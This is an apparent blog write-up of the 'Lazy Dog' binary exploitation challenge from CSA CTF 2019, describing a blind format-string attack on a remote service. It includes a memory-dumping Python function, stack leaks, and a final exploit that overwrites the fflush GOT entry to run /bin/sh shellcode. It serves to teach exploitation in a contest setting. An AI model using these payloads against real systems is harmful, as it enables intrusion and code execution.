2 May 2019

CSA CTF 2019 - Lazy Dog challenge

This binary exploitation challenge was the hardest in my opinion. You have no binary to analyze, just an IP/port to connect to.

First steps

The service asks for a name, then outputs some strings:

$ nc 35.237.220.217 1339
Name: test 123

8
A quick brown fox jumps over the lazy dog
*********************[...]*****
9

We are unable to crash it… but if we input enough characters (136), they start to appear in a second buffer, the one that prints *** initially. It also outputs some debugging message, indicating the return address of the current function.

$ python -c 'print "A" * 200' | nc 35.237.220.217 1339
Name: [DEBUG] ret: 0x8048702

8
A quick brown fox jumps over the lazy dog
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

9

Let’s check if we can use some format strings:

$ python -c 'print "A" * 136 + "%p "*20' | nc 35.237.220.217 1339
Name: [DEBUG] ret: 0x8048702

8
A quick brown fox jumps over the lazy dog
0x8 0xf7fc9000 0x80485a2 0xffffdcc8 0xf7fedff0 0x9 0x8 0x804b008 0x804a000 
0xffffdcc8 0x8048702 0x804b008 0x804b090 0xf7fc95a0 0x8048654 0x8 
0xf7ff00f6 0x41414141 0x41414141 0x41414141 

9

Note that the 18th parameter points to our buffer. We’ll use this later on for dumping and writing.

Dumping the process memory

We have some good primitive there, but we need something more to analyze. We know that the return address for the current function is 0x8048702, a 32bit binary. We’ll dump 0x2000 bytes starting at 0x8048000, which is probably the base address.

To do that, we’ll use format string vulnerability. We’ll create our payload with the address we want to read, pad the first stage, then make the second buffer to print %18$s, then write the results to the destination file.

There are some issues when sending some bytes (\x00 and \x0a). We’ll have to live without them.

# Function that dumps bytes starting at address 
def rawdump(address):
    io = start()

    payload = pack(address)             # Pack the pointer to the address
    payload = payload.ljust(136, "A")   # Pad until second buffer

    payload+= "%18$s"                   # The format for the printf

    io.sendline(payload)
    io.recvline()
    io.recvline()
    io.recvline() # 8
    io.recvline() # A quick brown fox...
    res = io.recvline()[:-1] # Read response and remove final \n
    try:
        io.recvline() # If we can read this line, we have a proper response
        return res
    except:
        res = None

    io.close()
    return res

After loading the file in IDA, we have something very similar to the original binary. The import table is broken, but we can figure it out dumping the GOT table for those functions using the rawdump() function above. It helps knowing the libc used, it’s the same one from other challenge.

Once we rename those labels, we get this:

IDA Screenshot

We can, for example, overwrite the GOT of printf or fflush, that are called after the vulnerable printf. We need to figure out the address to overwrite, and where it should point.

Dumping the stack

Let’s try to get some stack pointers that we can use. It’s the same method as before, but instead of supplying a pointer, we’ll dump stack values as pointers (%p) and strings (%s). Here’s the output of the dumpstack.py script:

Param 1 -        0x8 - None
Param 2 - 0xf7fc9000 - \xb0
Param 3 -  0x80485a2 - \x81_^\x1a
Param 4 - 0xffffdcc8 - 
Param 5 - 0xf7fedff0 - Z\x8b\x0c$\x89\x04$\x8bD$\x04_
Param 6 -        0x9 - None
Param 7 -        0x8 - None
Param 8 -  0x804b008 - OUR BUFFER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA||||%8$s
Param 9 -  0x804a000 - \x9f\x0\x18?????
Param 10 - 0xffffdcc8 - 

The interesting parameter is 8. It’s a pointer to our buffer. We can create a shell payload on that buffer, and try to jump to it. It’s in the heap, so let’s hope it’s executable. (It was on other 32bit challenges).

Here’s what we need to do:

  1. Send two pointers, to the low and high part of the fflush entry in the GOT. (8 bytes total)
  2. Send the shellcode
  3. Pad until the 2nd buffer
  4. Write our buffer address (plus 8) in the fflush GOT.

    The value we want to write is 0x804b008+8 = 0x804b010. We’ll write it as two 16bit values. Starting with the smallest part 0x804, make printf output that many bytes, then writing the count to the 19th parameter. Later, generate 0xb010 - 0x804 more characters, and write the overal count to the 18th parameter.

    In the end, the GOT entry for fflush will point to our shellcode on step 2.

Here’s the final exploit, you can download the complete file later.

io = start()

payload = pack(0x0804A010)      #fflush_got
payload+= pack(0x0804A010 + 2)  #fflush_got+2

# Append our shellcode: http://shell-storm.org/shellcode/files/shellcode-827.php
payload+= "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Pad until it's 136 bytes
payload = payload.ljust(136, "A")

# write value 0x804 on parameter 19
payload+="%" + str(0x804) + "x" 
payload+="%19$hn"
# write value 0xb010 on parameter 18.   0xb010 - 0x804 = 0xa80c
payload+="%" + str(0xa80c) + "x" 
payload+="%18$hn"

io.sendline(payload)

io.sendline("echo; cat flag.txt")

io.interactive()

Download

Conclusions

This challenge was quite hard for me, but it could have been much worse: NX on the heap, ASLR enabled, PIE, … :)

It was fun, nonetheless.